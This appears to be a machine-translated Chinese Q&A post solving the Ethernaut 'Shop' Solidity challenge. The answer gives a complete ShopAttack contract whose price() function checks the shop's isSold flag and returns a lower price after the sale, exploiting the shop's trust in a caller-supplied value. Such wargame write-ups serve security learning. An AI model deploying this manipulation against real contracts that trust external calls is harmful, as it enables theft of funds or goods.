可以从汇编中的另一个合约调用函数吗？坚固性

Question

这将是代码，但我的问题是，我正在做 ethernaut solidity 挑战，我的代码总是运行 out gas，然后我认为“如果我使用汇编，它会花费更少的 gas”，所以我运行遇到了一个问题，可以从汇编中的另一个合约调用函数 getter?

这是我的代码：

pragma solidity ^0.6;
    
    interface Buyer {
      function price() external view returns (uint);
    }
    
    contract Shop {
      uint public price = 100;
      bool public isSold;
    
      function buy() public {
        Buyer _buyer = Buyer(msg.sender);
    
        if (_buyer.price.gas(3000)() >= price && !isSold) {
          isSold = true;
          price = _buyer.price.gas(3000)();
        }
      }
    }
    
    
    contract ShopAttack {
        Shop public challenge;
        
        constructor(Shop _challenge) public {
            challenge = Shop(_challenge);
        }
        
        function price() external view returns (uint) {
            assembly {
                let result
                
                switch sload(<calling challenge.isSold() from shop>)
                case 1 {
                    result := 99
                }
                default {
                    result := 100
                }
                
                mstore(0x0, result)
                return(0x0, 32)
            }
        }
    
      function attack() external {
        challenge.buy();
      }

Answer 1

pragma solidity ^0.6;

interface Buyer {
  function price() external view returns (uint);
}

contract Shop {
  uint public price = 100;
  bool public isSold;

  function buy() public {
    Buyer _buyer = Buyer(msg.sender);

    if (_buyer.price.gas(3000)() >= price && !isSold) {
      isSold = true;
      price = _buyer.price.gas(3000)();
    }
  }
}


contract ShopAttack {
    
    function price() external view returns (uint) {
    
    
        bool isSold = Shop(msg.sender).isSold(); 
        
        assembly {
            let result
            
            switch isSold
            case 1 {
                result := 99
            }
            default {
                result := 100
            }
            
            mstore(0x0, result)
            return(0x0, 32)
        }
    }

  function attack(Shop _victim) external {
    Shop(_victim).buy();
  }
}

我通过首先调用函数的方法来获取布尔值来解决！

可以从汇编中的另一个合约调用函数吗？坚固性

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